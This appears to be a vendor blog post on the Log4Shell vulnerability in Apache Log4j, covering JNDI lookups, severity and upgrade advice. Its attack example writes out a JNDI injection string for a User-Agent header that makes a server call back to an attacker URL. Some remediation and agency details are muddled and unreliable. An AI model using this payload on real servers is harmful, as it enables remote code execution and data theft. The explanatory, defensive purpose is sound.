An Alibaba Cloud researcher in China revealed a security hole in the Apache Log4j library, written in Java, on December 9, 2021. This has caused alarm among cybersecurity experts and large corporations to look for measures to prevent possible attacks by exploiting this new vulnerability CVE-2021-44228¹, also known as “Log4Shell”.
You can also listen to this article:
As it is located in a library used by millions of web servers and several companies around the world, this critical vulnerability has caught media attention in recent days due to its potential risk as critical parts of the application can be accessed through it. It’s worth noting that AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft are among the many services that use the Log4j library.
Additionally, to give you an idea of the vulnerability’s potential, it has been rated a CVSS severity level of 10 out of 10. Jen Easterly², director of the Department of Cyber Security and Infrastructure Security Agency (CISA) stated last week (12/12) that “ this vulnerability poses a severe risk” to the entire internet. Exploitation is estimated to affect hundreds of millions of devices, as it is very simple to perform.
How the Log4j vulnerability works
Apache log4j has a log structure feature called lookups, which allows users to log information about how their activities are logged. These lookups are marked by variables grouped by the following characters “${….}”.
Thus, variables defined as “${variable}” can be used as date, time or username. In this example, the expression “${user.username}” can be replaced with the real name of the user using an expression such as “Log.info (“${user.username} not found”)”.
Log libraries typically write messages to a log file or database. To search for this information on a remote machine, Log4j uses the Java Naming and Directory Interface (JNDI), which allows it to search for items in remote locations using a variety of services and protocols, including LDAP, DNS, Java Remote Method Invocation (RMI) and among others. The JNDI syntax is the following expression:
${ jndi:protocol://server}. ${}
Therefore, to take advantage of this feature, an attacker would only need to find an entry that directs them to the log, which is usually controlled by the user. While this is highly dependent on the type of application, a common method of injection is via HTTP headers which are regularly registered as User-Agent or Referrer.
Example of an attack using the Log4j vulnerability:
In general, if the vulnerability occurs while the User Agent header is being processed by the library, the Log4j vulnerability allows unauthenticated code execution and an attacker could modify the browser User Agent string to the format $ {jndi: ldap: / /[attacker_URL]}.
As a result, the string is inserted into the web server’s access logs, Log4j parses these logs, and then arrives at the added string. The server makes a callback to the URL present in the JNDI string which is useful for an attacker to manipulate the encoded commands and achieve the goal.
In short, the flaw in Log4j allows an attacker to introduce code into the registration process, triggering the software storage server to execute the desired command. This means that an attacker can steal data, install malware or gain full control of the application.
Data shows the growth of attack attempts after the publication of this vulnerability. To learn more about the software that was affected by this bug, we suggest this list made available on GitHub⁴ with the impacted products and services.
How to avoid the threat risks of this vulnerability
Supposedly the issue has been resolved with the release of the new version of Log4j 2. With that in mind, we recommend upgrading immediately to your new version. You should upgrade to 2.17 to mitigate CVE-2021-45105 if using Java 8, upgrade to 2.16 to mitigate CVE-2021-44228 if using Java 8 (or later). We also recommend, if possible, not to enable JNDI in versions 2.16 or 2.17.
However, disclosed by the Apache Software Foundation⁵, the fix for this vulnerability will not be automatically applied to all applications. As a result, this issue will last for a long time and will have a significant impact in the coming months.
Many companies and institutions don’t use Log4j directly in their own source code, but may use third party products that use this library in their code. In this challenging time, we are committed to providing the support our customers and the entire security community need, and building security features to surpass CVE-2021-44228.
References